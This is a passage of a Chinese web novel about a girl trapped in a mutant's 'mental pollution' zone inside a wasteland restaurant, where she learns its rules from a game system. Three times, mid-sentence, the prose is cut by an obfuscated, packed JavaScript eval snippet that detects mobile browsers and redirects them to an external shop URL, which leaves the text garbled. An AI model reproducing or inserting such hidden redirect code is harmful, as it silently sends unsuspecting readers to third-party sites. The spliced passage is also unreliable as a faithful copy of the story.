火很大。浓烟往上冒。空气中弥漫着一股焦臭味。那臭味钻进鼻子里,像一只手伸进喉咙里掏。是烧肉的味道。烧人的肉的味道。 秦萧觉得恶心。但恶心底下,又觉得这味道,有些熟悉。 她想了半天,猛地抬起了头。 锅里炖的东西——就是这个味道! 东子站在饭馆门口,正在看那堆火。火光映在他眼睛里。 不知道秦萧是不是看错了,居然在他那双阴郁的眼睛里看到了一闪而过的泪光。 --- 那天晚上,大家都睡得很早。 楼上空了一间房。按理说秦萧可以搬上去的,但她没动。 不知道为什么,就是不想上去。 秦萧躺在椅子上,盯着天花板。 她现在不仅仅觉得这里不正常了。她还觉得不真实。 太多的事情,不符合常规逻辑。 那些人走路没有声音。那些人对死亡麻木得不像活人。那些人喝汤的时候,眼睛总往锅里看。那眼神不是馋,是别的。还有东子,身为这里的店家,发生了这么大的事儿,他居然无动于衷?最可怕的他一天天重复炖的肉,居然散发的是人肉的味道…… 这个世界太巅了。 会不会是梦? 她摸出一根牙签,对着自己的手指,刺了一下。 痛。 血珠从指尖冒出来。很小的一颗。 秦萧把手指凑到窗边,借着月光看。 血有些发暗。血珠的边缘,有一圈更深的黑,很细,很淡,像墨水洇开的那种黑。 秦萧盯着那圈黑,脑子里有什么东西动了一下。就在这时—— “你还没睡?” 那声音从楼梯口传来,很轻。 秦萧猛地抬头。 苏慧站在楼梯口,抱着那个孩子。月光从窗户照进来,落在她身上。她的脸白得发青,眼窝深陷,嘴唇没有血色,像一个刚从土里挖出来的人。 秦萧看着她。她什么时候下来的?怎么没有声音?这些人走路怎么都没有声音? 苏慧走过来,“我睡不着。”她的声音很轻,嘴唇在颤,“这里太可怕了。” 秦萧保持着警觉,没搭话。 今天死的那个人,伤口看着确实像畸化体咬的。但“像”不代表“是”,并不排除人为的痕迹。 在这个饭馆里,她不敢轻易相信任何人说的任何话,每个人都有可能是凶手。 苏慧看着她:“你要不要跟我出去?我觉得这里不安全。” 秦萧:“出去?” “嗯。”苏慧点头。她指了指门外,压低了声音。“街上没人,可能安全些。我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319300|199036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找个地方躲起来——” 秦萧盯着她的眼睛:“据说昨天那个人就是出去死的。” 苏慧的话卡在喉咙里。她看着秦萧,嘴唇动了动。 “可是——” 她咬了咬下唇,“我觉得东子有问题。”声音压得更低了,“他之前帮过我。我记不太清——” 她停下来,喉结动了一下,用力地咽了一口唾沫。 就在她咽唾沫的瞬间,墙上的钟又停了一秒。 秦萧的余光捕捉到了。她没动声色。 “但我总是感觉不对劲儿。他之前一直是咱们这片最优秀的猎杀小队的队员,为了这个我才来投奔他的。” 秦萧皱起眉,“你之前认识他?” 苏慧愣了一下。她的眼神变得茫然,像一层雾蒙上来,把那点光遮住了。 “我……我应该是认识的……”她的声音越来越低,低到像在自言自语,“我来这里,就是为了找他……” “那你找到他之后呢?” 苏慧张了张嘴,答不上来。 秦萧盯着她。 “你记得自己来这里多久了吗?” 苏慧想了很久,摇了摇头。她的脸色更加苍白。 “我……我不记得了……” 她说这句话的时候,钟又停了一秒。 秦萧在心里默数——这是第三次了。每次苏慧说“不记得”,钟就会停。 生怕秦萧不相信自己,她努力辩解着:“我说的都是真的……我只记得……他之前帮过我。我刚来的时候,没东西吃,他给我汤喝。但我现在想起来,他那碗汤——” 她停下来,喉结又动了一下。 “我觉得怪怪的……不是猪肉也不是牛肉的味道……” 苏慧的声音越来越低,低到像在自言自语。 “他本来就是个怪人。我听说他最后一次出任务的时候,全队就他一个人回来。其他五个人,全没了。他回来之后就不说话了。什么都不说。谁问都不说。然后就开了这个饭馆。我怀疑——” 秦萧盯着她,苏慧的话东拉西扯的,听着像是没什么重点,可细细分析,又觉得哪里不对劲。 “我怀疑他是被污染的。”苏慧终于说出了那句话。 钟没停。 秦萧的心沉了一下,本能的觉得这话是真的。 被污染的…… 等等。 污染? 这两个字像一根针,随着一条条传送带一具具尸体的画面,猛地扎进她脑子里。 苏慧站起来,“不行,我得马上走!” 她已经没有耐心再去说服秦萧一起离开了。 苏慧抱着孩子,走向门口。走到门边,她回过头,看了秦萧一眼。 秦萧正要开口叫她—— 苏慧已经推开了门。 “砰”的一声巨响。 紧接着,秦萧听见了一声闷哼。很短。刚出口就被掐断。然后是“哐当”一声巨响,像什么东西砸在地上,砸得很重,砸得整个门框都在抖。 秦萧僵在原地,脑袋嗡嗡的。等她反应过来的时候,自己已经冲到门槛边了。 苏慧倒在门槛上,半个身子在里面,半个身子在外面。 鲜血流了一片。 她的头没了。 血从她的颈子里往外喷。像拧开的水龙头,一股一股地往外涌,涌到门上,涌到墙上,涌到地上。 秦萧被这突如其来的变故弄懵了。她站在那儿,看着那具没了头的尸体,脑子里一片空白。 然后她反应过来——救孩子! 她回头喊了一声让大家帮忙救人,然后快步走过去。血淌在地上,踩上去黏黏的,像踩在烂泥上,像踩在刚下过雨的泥地里。 那黏腻的感觉从鞋底传上来,传到脚踝,传到小腿,传遍全身。她蹲下来,把那孩子从苏慧身下抱出来。 孩子很轻。 秦萧把孩子翻过来—— 空的。 那衣服里是空的。没有人。什么都没有。 秦萧抱着那件空衣服,愣在原地。 东子就站在门口。他的眼睛泛红。 那种红不是红血丝的那种红。是从眼眶里面往外渗的那种红,像血,像火,像有什么东西在里面烧。红从眼眶里漫出来,漫到眼白上,漫成一片。 那一抹红,像火星,溅进了秦萧的心底,烫意从胸口最深处涌上来,涌到喉咙,涌到眼睛,涌到四肢百骸。 她想起来了,都想起来了!!! 秦萧起身,她走向东子。 一步。 两步。 三步。 她站在东子身后。很近。近到能看见他后颈上暴起的青筋,能闻到他身上那股混杂着油烟、肉香和腐朽气息的味道。 秦萧开口了,“东子,你姓什么?” 东子没动。 还是那个姿势。站在门口,看着外面那滩血,看着月光下那具没了头的尸体。 良久。 他缓缓转过头。 月光照在他脸上。那张年轻的脸,那道眉骨,那个鼻梁,终于,和秦萧脑海中的人影重叠在了一起。 “我姓韩。” 秦萧的呼吸停了半拍。 “我叫韩东。” 叮。 【系统重新连接成功。】 【欢迎回到废土世界,玩家秦萧。】 【恭喜你,还活着!】 7. 07 规则 秦萧站在原地,看着那行金色的字在视野里浮动。 “这是哪里?” 【精神污染源核心区域。由畸化体死后释放的精神辐射凝结而成。】 秦萧消化了几秒。 “我是怎么进来的?” 【你通过接触畸化体‘老韩’的晶核,被拉入了他的精神污染区域。】 “之前为什么跟失了忆似的,什么都想不起来?” 【外来者刚进入时,都会被同化,意识逐渐融入畸化体的执念。如果始终想不起自己是谁,就会永远困在这里。】 秦萧心里一沉。怪不得。 “我这算是清醒过来了?” 【是的。你能清醒过来,除了精神抗性的提升,很大一部分原因是因为你的异能‘万物熔炉’在持续提醒。】 秦萧明白了。 胸口那团烫意。那些在她快要迷失时突然涌上来的灼热感,就是万物熔炉。 【但更重要的是——你没有迷失。】 【你没有被同化。你始终记得自己是谁。】 秦萧低下头,看着自己的手。 那根牙签刺破的小点还在。但边缘那圈黑,已经淡了很多。 “你呢?你为什么不提示我?” 它不是万能的系统么? 【系统:你没叫我。】 秦萧克制着情绪,“那些人呢?”她抬起头,看向楼梯口。“他们都是什么?活的还是死的?” 【他们不是真正意义上的人。】 【他们是畸化体精神世界的幻影,或是被困在这里的外来者。】 秦萧想了想:“这里除了我还有外来者?和幻影有什么区别?” 【是的。外来者进入后,同样会被同化。区别在于,幻影是执念的投射,而外来者原本是活人。】 秦萧沉默了几秒。所以外来者,可能有人和她一样,曾经清醒过,只是没能撑到最后。而幻影更类似于这里的NPC? “那他们现在……” 【已经被同化。失去了自我意识,成为精神污染的一部分。】 秦萧看着楼梯口的方向。 “如果我一直醒不过来,”她低声问,“也会变成那样?” 【会。】 一个字。没有多余的修饰。 虽然残忍,可时间宝贵,秦萧没空感慨。 “找到污染源前我该怎么活下去?” 【精神世界的统一原则:不能让大家感觉出你是入侵者。】 【在老韩的精神污染中额外的规则是:不能说谎。】 秦萧皱起眉。 “那如果我被发现是入侵者会——” 她的话没说完。 因为她看见了。 楼梯口。 那六个人不知道什么时候下来了。 修鞋的老太太。磨刀的男人。卖菜的女人。秃顶。穿中山装的。王磊。 他们就站在那儿。一动不动。看着她。 那眼神不是之前那种空洞而麻木,杀意腾腾。 月光从窗户照进来,把他们的影子拉得很长。那些影子扭曲着,趴在地上,蓄势待发。 【警告。】 【检测到周围幻影的警觉值上升。】 【你已被怀疑。】 秦萧汗毛都竖起来了,她把手心的汗往裤子上蹭了一下,抬起头,皱着眉,语气里带着愤怒与后怕:“你们怎么才下来?没听见我求救么?苏慧被砸死了!” 那六个人没动。 六双眼睛,从六个角度,像六根钉子,把她钉在墙上。 空气像凝固了一样。钟还在响。滴答。滴答。 秦萧盯着他们,心里飞速过着系统给的规则——不能说谎,不能让大家感觉出你是入侵者。 她没说谎。苏慧确实死了,她确实喊了。 但这还不够。 他们还在看她。还在审视。还在等她说出更多破绽。 秦萧做了个她能想到的最正常的反应,蹲下来,把脸埋进膝盖,肩膀开始发抖。 “好可怕……”她的声音闷在膝盖里,脸色还有血痕,带着颤音,“好可怕……你们能不能……让我一个人待一会儿?” 她没抬头,但能感觉到,那些钉子一样的目光,开始松动。 一秒。 两秒。 三秒。 然后是脚步声。 很轻。一个一个的。上楼。消失。 秦萧把脸埋在膝盖里,听着那脚步声一个一个远去,直到最后一个脚步声也消失在楼上,她才抬起头。 【危机解除。】 【你的表现符合幻影的预期。他们暂时打消了怀疑。】 秦萧缓了几秒,心想这精神污染到底是有漏洞,如果真的是现实世界,她也不会这样的反应。所谓的“预期”,不过是他们对于一个十八岁小姑娘看到死亡该有的样子。 “我进来多久了?” 【你进入精神污染核心区域共计1分钟。】 秦萧:“我过了一整夜。我吃了饭,睡了觉,看见了死人,和苏慧说了话。”她恍然大悟:“这里的时间和外面不一样?” 【是的,精神污染会影响时间感知。】 【在这个区域里,时间是畸变体执念的延伸。它可以是扭曲的,可以是循环的,可以是永远停在一个点的。你感觉过了一整夜,但在外界,只过了1分钟。】 还有很多疑问,可时间不够了,秦萧直接问出了重点:“那我要怎么出去?” 【找到污染源后,消灭它。锚点一灭,区域自散。区域内被困的意识,将获得解脱。】 秦萧皱起眉:“你就没点提示吗?” 【污染源是畸化体生前最为执着的东西。】 秦萧低下头,开始回想。 老韩执着什么?她们才认识一天,接触的并不多。 只记得早上刚来的时候,老韩站在传送带旁边,用那只独臂握着铁钩,一具一具地检查那些畸化体。他干活麻利,几乎不停。只有实在撑不住的时候,才会停下来抽根烟。烟雾从他面罩的缝隙里挤出来,在他脸前缭绕。 她想起他最后说的那句话—— “死在这儿,抚恤金两千,够她买三年营养液。” TA。 哪个TA?是他还是她? 秦萧心里一动。她抬起头,看向厨房的方向。 既然已经知道规则了,她可以好好的利用。 厨房里很暗。灶台边,东子还站在那儿。右手垂着,左手握着那把大勺,在锅里慢慢搅动。 秦萧走进去,叫了他一声:“韩东。” 东子的手停了一下,又继续搅。 秦萧看着他,试探着问:“怎么就看你一个人忙前忙后的?没家人帮你吗?” 不是不能说假话么? 不如她直接问。 韩东摇头,声音很低:“我妈身体不好。” “哦,你爸呢?” “死了。” 秦萧顿了一下,又问:“那其他家人呢?你这么年轻,长得也不错,应该交女朋友了吧?” 东子的手停了,他慢慢转过头,看着她。 秦萧知道自己问对了。 “结婚了吗?” 东子的眼睛红了,像烧透的炭,然后,他举起了刀。 没有预兆,没有停顿,就那么恶狠狠地朝她砍下来。 要不是胸口在这个时候被烫了一下,秦萧已经被劈成两半了,她往旁边一扑,摔在地上,手肘撞在走廊地板上,疼得整条手臂都在发抖。 刀砍在她刚才站的地方,砍进墙里。刀锋嵌进去,拔出来时带起一片碎砖和木屑。 秦萧爬起来就跑。 跑的时候脑子里只有一个念头:他妈的这什么疯批! 规则不就是不能说谎吗?她问的那几句哪个字是谎话?没家人吗——他说妈身体不好,她接着问了爸,问了其他家人,问了女朋友—— 没时间复盘了,身后风声又起,她根本不敢回头,腿软得像两根面条,偏偏还得拼命倒腾,她十二年来没跑过步,第一次跑就是逃命,老天爷是真会挑时候。 秦萧气喘吁吁地跑下楼梯,跑过一楼,跑到饭馆门口。手刚摸到门框—— 身后又是一道风声。 她往旁边一闪。刀砍在门框上,木屑飞溅,一块弹到她脸上,划出一道口子,热热的血流下来。 火辣辣的疼…… 门口被堵住了。东子站在那儿,月光从他背后照进来,他的脸一片黑,只有那双眼睛亮着。 他已经杀红眼了。 秦萧往后退。一步。两步。三步。 完了,她要死在这里了么? 她刚才忘记问系统死在精神污染里会什么样了! 她拥有这双腿才一天。 退到饭馆中央,退到那几张拼起来的椅子旁边。椅子被撞翻,哗啦一声倒在地上。 东子站在她面前。两米。一米。半米。 他举起刀。 她的腿在抖,膝盖发软。 不能死。 她才刚站起来。 不能死在这儿。 刀落下来的那一瞬—— 秦萧浑身都在抖,急中生智大喊:“你是要杀了我吗?” 声音很大,大到整个饭馆都在回荡。 楼上那些门,一扇一扇开了。 他们都盯着东子。 眼里满满的敌意与来自对“入侵者”的警觉。 秦萧喘着气,脸上带着血,看着东子,又抬头看看楼上那些人。 她捂住嘴,眼含泪光,声音里带着哭腔和颤抖,瑟瑟发抖又楚楚可怜:“他要杀我……他要杀我……” 这下,所有人都死死地盯着韩东。 众目睽睽之下,韩东举着刀的手缓缓放下,转过身,走进厨房,消失在黑暗里。 他虽然是污染源的制造者,但同样要遵守规则。 楼上那些人一个个收回目光,转身,回房,关门。 最后一个关门的是王磊。他站在门口,又看了她一眼,才把门带上。 秦萧闭着眼睛,在心里骂:“系统,有危险你怎么不早提示?” 【系统:我是系统,不是奶妈。】 它看她演得很开心。 秦萧:…… 死系统。 她现在就是还不够强,要不以后干死它。 --- 秦萧在墙角坐了很久,直到心跳慢下来,不再喘了,脸上的伤口虽然处理完了,还是一阵阵刺痛。 她需要有关于东子的信息,这种信息系统不会给她,她需要从这里得到。 秦萧开始细细分析这里的每一个人。 还有五个人存活,修鞋的老太太,磨刀的男人,卖菜的女人,秃顶,穿中山装的王磊。 如果按照系统的说法,畸化体精神世界里的人,要么是幻影,要么是被困的外来者。 那谁是幻影,谁是外来者? 幻影是畸化体执念的投射,会按照固定的轨迹行动,像设定好的程序,工具人的属性会很浓。 至于外来者…… 秦萧脑海里闪过王磊的脸。 他不一样。 他会看她。不是那种空洞的、麻木的看,是真正的“看”。会在她敲桌子的时候,跟着她敲。会在她问话的时候,沉默很久再回答。 秦萧气刚喘匀,她就站起来,走上楼,敲响了王磊的门。 门开了。王磊站在门口,看着她。 王磊侧身让她进去,月光从窗户照进来,落在他身上。他的脸半明半暗,看不清表情。 “我想问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319301|199036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你点事。”秦萧走到桌子前,给自己倒了杯水仰头喝了,一回生二回熟,刚才差点被剁成肉泥的经历,让她已经没什么怕的了,“韩东为什么发疯?” 王磊回答:“苏慧。” “什么意思?” “苏慧是他女朋友。三年前,苏慧说她怀孕了。韩东把全部积蓄都给了她,让她去内城生。” 他停了一下,“结果她根本没怀。拿着钱跑了。” 秦萧嘴巴张大。怪不得东子听到“女朋友”就发疯,被骗光了积蓄,还被耍了三年,还差点喜当爹,搁谁都得疯。她现在有点原谅老韩要砍她了。 “那她怎么又回来了?” “不知道。”王磊说。“她回来的时候,什么都不记得了。只记得韩东帮过她。” 秦萧顿了几秒,问:“韩东帮过你吗?” 王磊看着她。 沉默。 很长很长的沉默。 久到秦萧以为他不会回答了。 “他帮我挡过一枪。” 秦萧凝视着他的眼睛:“你为什么在这里?” 王磊没有回答。 月光从他背后的窗户照进来,在地上拉出一道长长的影子。 王磊的眼神迷茫,“我记不清了。” 这里没表,要不然她可以判断是不是真话了。 秦萧:“那你现在还记得什么?” “只记得他救过我,可是在他受伤时,来求我的时候,我没有帮他。” 他低下头,“然后我就醒了,在这里。” “试过出去吗?” 王磊抬起头,看着她。月光终于照清了他的脸上,不是麻木,不是绝望,是一种更复杂的东西。 “试过。”他说。“但每次走到门口,就会想起来一件事。” “什么事?” “那天,如果我帮了他,我们会不会还是好兄弟。” 王磊看着她,嘴角动了动,像想笑,但笑不出来。 “所以我说我不知道自己为什么来这里。但你一问,我想,或许是迷失了。”他顿了顿,“也或许是心有愧疚吧。” 心有愧疚。 秦萧明白了。 王磊不是被拉进来的。他是自己走进来的。 秦萧:“你始终记得自己是谁吗?” “有时候记得。”他盯着外面依旧在熬汤的东子背影:“有时候不记得。” --- 那天晚上,秦萧没睡。 她走到墙角,蹲下来,看着那个炉子。 炉火还在烧。从她进来到现在,这炉子就没熄过。橙红色的光从炉门缝隙里透出来,铺在地上,暖融融的。 这个炉子,从她进入这片区域就跟其他东西不一样。唯一让她感觉踏实的东西。唯一让她觉得安全的东西。 秦萧盯着那团光,伸出手,碰了一下炉门。 烫。 那种烫不是灼烧的烫,是从她胸口那团烫意呼应着涌上来的烫。像两个东西在隔着皮肤打招呼。 秦萧盯着那个炉子,脑子里忽然冒出一个念头—— 这会不会是【万物熔炉】在精神污染领域的投影? 她站起来,随手拿起旁边一根木柴,扔进炉子里。 轰。 火焰猛地窜起来。不是普通的窜,是炸。火舌从炉门里喷出来,差点烧到她的头发。 这个炉子的确不一般。 她又拿起陶瓷杯子,扔了进去。 很快就被火焰吞噬了。 秦萧想了想,转身走进厨房,端了一碗水出来。 她把水倒进炉子里。 围观一切的系统:…… 滋啦—— 白烟猛地窜起来,整个炉子都在发抖。那烟不是普通的烟,是灰白色的,带着一股说不出的味道,像烧焦的头发混着腐肉。秦萧被呛得后退两步,捂住口鼻。 等烟散尽,炉火还在烧。 还是那团橙红色的光,一点都没变。 秦萧盯着那个炉子,心跳开始加速。 这个炉子,能“消化”一切东西。 的确就像是名字所起的那样——万物熔炉。 秦萧看着那个炉子,脑子里冒出一个念头,如果她找到污染源,不管是什么,直接扔里面,应该是最合适的。 就在这时。 叮。 【系统提示:任务完成度更新:50%。】 她的方向是对的! 墙上的挂钟在响。滴答。滴答。滴答。 秦萧抬头看过去。 钟面上的刻度,变了。 从八变成了四。 秦萧盯着它,忽然觉得不对。 怎么周围的一切颜色变成了暗红色? 秦萧下意识地抬手揉眼睛。手指触到眼角,湿的。 她低头看——手上是红的。 血? 哪来的血? 她猛地转头,看向墙角那面斑驳的镜子。 月光从窗户照进来,落在镜面上。 镜子里站着一个人。 瘦的。苍白的。脸上挂着两道血痕。 那血从眼眶里流出来,顺着脸颊往下淌,淌过下颌,一滴一滴砸在地上。 秦萧盯着那张脸。 那是她的脸。 【预计完全畸变时间:3分58秒。】 秦萧的呼吸停了。 不对。刚才还是八分钟。 怎么突然双倍速了? 秦萧细细的思索,难道是她找到了线索,开始接近真相,让污染世界感觉到了威胁? 这是它的防御机制? 她在无限接近答案的同时,她也正在变成他们。 秦萧看着镜子里那张流着血的脸,冷冷一笑,“行。”她对着镜子里的自己说,“那就看看谁快。” 8. 08 轮回 秦萧盯着镜子里那张脸。 血还在流。 她抬手擦了一把。 刚才系统提示过【预计完全畸变时间:3分58秒。】 秦萧站在原地,听着墙上的钟。 滴答。滴答。滴答。 从第一天进来,她就发现了——这钟永远只响九下,第十声就永远不会来,往复循环。 到了第二天,就剩八下了。 刚才,她数了——四下。 也就是说还有不到四天的时间…… 她就会跟外面那些人一样了。 行尸走肉。 永远困在这里。 永远想不起来自己是谁。 秦萧转身,离开那面镜子。 不能再等了。 --- 饭馆里很安静。 那五个人坐在桌边,面前摆着碗。碗里是汤。热气往上冒,肉香飘过来。 秦萧的目光从那五个人脸上扫过。老张。卖菜的女人。秃顶。穿中山装的。王磊。还有角落里那个修鞋的老太太。 苏慧的死,对他们来说没有任何影响。也或许是,他们已经习惯了这里死人? 秦萧的脊背窜上一股凉意。她不敢想象,最初这里到底有多少人。这些人又是怎么一点点麻木下来,看着身边的人一个一个消失,然后继续喝汤,继续刮碗底,继续等死。 东子站在灶台边,还是那个位置,还是那个姿势。右手垂着,左手握着大勺,在锅里慢慢搅动。 秦萧走过去,在桌边坐下。她的碗也摆在那儿。满满一碗汤。肉块在汤里浮沉,肥的部分已经炖化了,油脂浮在表面,一层一层地晕开。 秦萧低头看着那碗汤。 她忽然想起苏慧说的话“不是猪肉也不是牛肉的味道”。 她端起碗,凑到鼻子前,闻了闻。 那股甜腻的香味涌进鼻腔,顺着气管往下走,走到胃里,走到肠子里,走到四肢百骸。胃动了一下,分泌出酸液。 胸口烫了一下。 脑子里有个声音在喊:别喝。 秦萧把碗放下。 她抬起头,看向对面的人。 磨刀的男人。四十来岁,脸上有一道疤,从眉骨斜着划过鼻梁,一直延伸到嘴角。他低着头喝汤,喝得很快,呼噜呼噜的,像猪吃食。 “你叫什么?”秦萧问他。 他抬起头,看着秦萧,嘴唇动了动。 “老张。”他说。 声音是平的,没有任何起伏,像机器在念字。 “你怎么来这儿的?” 老张看着她,那眼神不是在看一个活人。 “记不清了。” 然后他低下头,继续喝汤。 秦萧估计着来的时间不短,问不出什么。她转向另一边。 卖菜的女人坐在她左边。四十出头,头发花白,脸上皱纹很深,像干裂的土地。她的碗已经空了,但她还在舔,把碗沿舔得干干净净。 秦萧问:“你怎么来这儿的?” 卖菜的女人抬起头,看着她。 她一脸的迷茫:“记不清了。” 秦萧不多废话,站起来,走到老太太身边。 修鞋的老太太坐在靠墙的位置,弯着腰,佝偻着背,像一只晒干的虾。她的碗也空了,但她还在用勺子刮碗底,刮出吱嘎吱嘎的声音。 秦萧在她旁边坐下。 “大娘。”她放低了声音,“您来这儿多久了?” 老太太抬起头,她的眼睛浑浊,白内障把瞳孔糊成一片灰白。 老太太看着她,“许久了……” 秦萧一听有戏,立马换了个问法:“您认识韩东多久了?” “我认识他的时候……他还是个半大孩子”老太太的声音沙哑,“好孩子……他帮过我……” “帮过您什么?” 老太太低下头,看着自己干枯的手。那双手皱得像树皮,指节粗大,布满了老茧和裂纹。 “那年冬天……”她说,“我冻倒在街上……是他把我背回来的……给我喝汤……给我地方住……” 她抬起头,浑浊的眼里泪光闪烁:“要不是他,我早死了。” 秦萧的心跳漏了一拍,捕捉到了重要信息。 又是帮过。 王磊说过帮过。苏慧也说过帮过。现在老太太也这么说。 “那其他人呢?”她压低了声音,“您知道吗?他们也是韩东帮过的?” 老太太的目光慢慢从秦萧脸上移开,扫过桌边那些人。 “都是……”她说,声音轻得像风,“都是他帮过的……” 秦萧的脑子里飞快地转着。 她猜对了。 “第一个死的那个,”秦萧问,“他也是韩东救过的?” 老太太看着她,浑浊的眼睛里,忽然多了些警觉。 “你问这个干什么?” 秦萧心里咯噔一下。 饭馆里安静下来。 秦萧慢慢转过头。 桌边所有的人都在看她。 老张。卖菜的女人。秃顶。穿中山装的。王磊。 他们都死死地盯着她,凶神恶煞。 秦萧的手心在冒汗,“我就是好奇。”她的声音尽量放平稳,甚至带点傻乎乎的天真,“那个老于,死得那么吓人,我就想知道他是个什么人。” 老太太盯着她。 那双浑浊的眼睛像两口深井,看不见底。 秦萧觉得自己正在往那井里掉。 半响,老太太的目光慢慢软下来。 “他啊……”她收回目光,低下头,继续刮碗底,“我不认识,只是知道,他以前跟东子好像是什么小队的成员……一起猎杀畸化体,在贫民窟很出名……” 又有人看了过来,秦萧立即闭了嘴。 饭馆里重新安静下来。但那安静不一样了。像一池水,表面平静,底下有什么东西在游。 --- 那天夜里,秦萧躺在拼起来的椅子上,听着钟声,闭着眼睛假睡。 滴答。滴答。滴答。滴答。 她偷偷睁开眼睛。 月光从窗户照进来,在地上铺开一片惨白。饭馆里很安静,安静得能听见自己的心跳。 楼梯口站着一个人。 王磊。 他背对着她,看着那扇门。 月光落在他背上,把他的影子拉得很长,一直延伸到秦萧脚边。 他垂在身侧的那只手,攥成了拳头,又松开,又攥成拳头,一下一下的,像是在挣扎纠结什么。 然后他抬起头,看着那扇门。 月光从门缝里透进来,在地上拉出一道细细的白线。他盯着那道白线,盯了很久。 秦萧看不清他的脸,只能看见一个侧影。 他伸出手,推开门。 门开的那一刻,月光涌进来,照在他身上。他站在那光里,抬起头,看着外面的月亮。 秦萧站起来,迅速跟着走到门口,她忽然想起东子第一天晚上说的话—— “晚上不能出去。出去就回不来了。” 她的脚步顿了一下,只是几秒,又迈了一步。 【系统提示:前方危险。】 秦萧握着门把手的手紧了紧,还是推开了,虽然系统提示了,可这样等下去也是死。 就算都是死,她至少要死的明白。 她迈出了门槛。 --- 外面什么都没有。 没有街。没有房子。没有月光。 只有雾。 灰白色的雾。浓得化不开。雾里有什么东西在动。模模糊糊的。 秦萧往前走。 走了几步,她看见了王磊。 他走在她前面。不远。就十几步的距离。 秦萧跟在他后面。 走了很久。雾越来越浓。浓得连王磊的背影都快看不清了。 然后她看见他停下来。 王磊站在那里,一动不动。 秦萧也停下来。她蹲下身,把自己缩成一团,躲在雾里。 王磊的右手抬起来,手里握着一样东西。 秦萧的瞳孔缩了一下。 枪。 他手里什么时候多了一把枪?刚才出来的时候,他明明两手空空。 一把老式的枪。枪管很长,在雾里泛着暗沉沉的光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319302|199036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后—— 砰。 枪声炸开。 不是一声。是很多声。从四面八方炸开。砰砰砰砰砰,像什么东西碎了一地。 秦萧连忙蹲得更低,把自己缩成一团,往四周看。 雾里冒出很多人影。 端着枪的。穿制服的。看不清脸。只能看见那些黑洞洞的枪口,从各个方向对准王磊。 但那些人影是雾做的。模模糊糊的,像是从雾气里凝结出来的。秦萧什么都看不见。 只有轮廓,只有枪口,只有那些砰砰砰的声音。 王磊站在那里,子弹从他身边呼啸而过,打在他身后的雾里,不知道落在哪里。 他没有躲,甚至没有反击。 一颗子弹从他正面射来。 秦萧看见他的头往后仰了一下,就那么一下,血从他后脑勺喷出来,喷进雾里。 他倒下了。 砰。 砸在地上。 枪声停了。那些人影消失了。雾散了一点。 秦萧心跳加速,蹲在原地,等了很久,等得手脚都发僵了,她才站起来,四处看着,警觉地走过去。 王磊躺在地上。 脸朝上。眼睛睁着。 月光照在他脸上。 他的头没了。从眉骨往上,整个没了。只剩下一张脸的下半部分,和脖子连着。血还在流,流了一地,流进雾里,流得看不见。 她盯着他的嘴角。 那嘴角微微上扬着。 他在笑。 在死的那一刻,他在笑。 他知道自己会怎么死。知道自己什么时候死。知道自己为什么死。 秦萧慢慢站起来。 她本来只是想玩个游戏。 十二年了。她坐在轮椅上,看着窗外那滩积水,她只是想体验一下奔跑的感觉。想站起来。想用自己的腿走一走。 所以她点了那个按钮。 所以她来了。 可现在她蹲在这里,手指上沾着血。那血是温的。和她自己的血一样温。 这哪里是什么游戏世界。 这根本就是真实的。 她转过身,看向那片浓雾。 “韩东。”她喊。 没有回应。 “韩东!” 还是没有回应。 只有雾在流动。灰白色的,缓慢地,像活着的东西在呼吸。 【系统提示:他可能不在这里。】 秦萧没理系统:“韩东!” 还是没有回应。 秦萧低下头,看着自己的手。 她忽然开口:“你不知道他在哪儿,对不对?” 【系统提示:你说什么?】 “在这个世界里,”秦萧说,“你不是万能的。” 系统没回答。 “你不知道污染源在哪儿。你不知道怎么出去。你不知道韩东在哪儿。”秦萧说,“你甚至不知道我刚才会不会死。” 她笑了一下,“那你知道什么?” 【系统提示:你已被精神污染,尽快返回】 秦萧沉默了几秒。 然后她说:“他杀不了我。” 【系统:为什么?】 秦萧没有回答。她转过身,往回走了几步,又停下来。 她看着那片雾。 “这些人,”她低声说,“都是被韩东救过的人。” 雾没有动。但秦萧觉得它好像在听。 “他们被困在这里,”她说,“是因为他们欠他的。” “苏慧欠他三年。王磊欠他一枪。那个猎杀小队的欠他一条命。”秦萧说,“所以他们要死。死在他当年帮他们的那种死法里。” 她顿了顿。 “王磊是笑着死的。”秦萧说,“他等这一天,等了很久。” 雾还是没动。灰白色的,安静地浮在那里。 “但我不欠他的。”她说。 四周一片寂静。 【系统:那你吃的晶核是谁的?】 秦萧的呼吸停了。 那一瞬间,周围的雾动了,像是有什么东西从最深处被惊醒,从四面八方朝她压过来。